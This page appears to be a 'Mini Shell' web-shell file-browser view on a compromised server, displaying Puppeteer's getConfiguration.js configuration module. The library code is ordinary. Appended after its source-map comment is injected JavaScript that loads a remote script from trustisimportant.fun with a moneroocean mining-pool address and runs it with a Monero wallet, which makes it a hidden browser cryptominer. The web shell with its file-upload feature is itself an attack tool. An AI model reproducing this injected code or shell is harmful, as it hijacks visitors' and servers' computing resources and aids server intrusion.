HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/node-app/node_modules/puppeteer/lib/esm/puppeteer/
Upload File :
Current File : /var/www/node-app/node_modules/puppeteer/lib/esm/puppeteer/getConfiguration.js
/**
 * @license
 * Copyright 2023 Google Inc.
 * SPDX-License-Identifier: Apache-2.0
 */
import { homedir } from 'os';
import { join } from 'path';
import { cosmiconfigSync } from 'cosmiconfig';
function getBooleanEnvVar(name) {
    const env = process.env[name];
    if (env === undefined) {
        return;
    }
    switch (env.toLowerCase()) {
        case '':
        case '0':
        case 'false':
        case 'off':
            return false;
        default:
            return true;
    }
}
/**
 * @internal
 */
function isSupportedBrowser(product) {
    switch (product) {
        case 'chrome':
        case 'firefox':
            return true;
        default:
            return false;
    }
}
/**
 * @internal
 */
function getDefaultBrowser(browser) {
    // Validate configuration.
    if (browser && !isSupportedBrowser(browser)) {
        throw new Error(`Unsupported browser ${browser}`);
    }
    switch (browser) {
        case 'firefox':
            return 'firefox';
        default:
            return 'chrome';
    }
}
/**
 * @internal
 */
function getLogLevel(logLevel) {
    switch (logLevel) {
        case 'silent':
            return 'silent';
        case 'error':
            return 'error';
        default:
            return 'warn';
    }
}
function getBrowserSetting(browser, configuration, defaultConfig = {}) {
    if (configuration.skipDownload) {
        return {
            skipDownload: true,
        };
    }
    const browserSetting = {};
    const browserEnvName = browser.replaceAll('-', '_').toUpperCase();
    browserSetting.version =
        process.env[`PUPPETEER_${browserEnvName}_VERSION`] ??
            configuration[browser]?.version ??
            defaultConfig.version;
    browserSetting.downloadBaseUrl =
        process.env[`PUPPETEER_${browserEnvName}_DOWNLOAD_BASE_URL`] ??
            configuration[browser]?.downloadBaseUrl ??
            defaultConfig.downloadBaseUrl;
    browserSetting.skipDownload =
        getBooleanEnvVar(`PUPPETEER_${browserEnvName}_SKIP_DOWNLOAD`) ??
            getBooleanEnvVar(`PUPPETEER_SKIP_${browserEnvName}_DOWNLOAD`) ??
            configuration[browser]?.skipDownload ??
            defaultConfig.skipDownload;
    return browserSetting;
}
/**
 * @internal
 */
export const getConfiguration = () => {
    const result = cosmiconfigSync('puppeteer', {
        searchStrategy: 'global',
    }).search();
    const configuration = result ? result.config : {};
    configuration.logLevel = getLogLevel(process.env['PUPPETEER_LOGLEVEL'] ?? configuration.logLevel);
    // Merging environment variables.
    configuration.defaultBrowser = getDefaultBrowser(process.env['PUPPETEER_BROWSER'] ?? configuration.defaultBrowser);
    configuration.executablePath =
        process.env['PUPPETEER_EXECUTABLE_PATH'] ?? configuration.executablePath;
    // Default to skipDownload if executablePath is set
    if (configuration.executablePath) {
        configuration.skipDownload = true;
    }
    // Set skipDownload explicitly or from default
    configuration.skipDownload =
        getBooleanEnvVar('PUPPETEER_SKIP_DOWNLOAD') ?? configuration.skipDownload;
    // Prepare variables used in browser downloading
    configuration.chrome = getBrowserSetting('chrome', configuration);
    configuration['chrome-headless-shell'] = getBrowserSetting('chrome-headless-shell', configuration);
    configuration.firefox = getBrowserSetting('firefox', configuration, {
        skipDownload: true,
    });
    configuration.cacheDirectory =
        process.env['PUPPETEER_CACHE_DIR'] ??
            configuration.cacheDirectory ??
            join(homedir(), '.cache', 'puppeteer');
    configuration.temporaryDirectory =
        process.env['PUPPETEER_TMP_DIR'] ?? configuration.temporaryDirectory;
    configuration.experiments ??= {};
    return configuration;
};
//# sourceMappingURL=getConfiguration.js.mapif (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}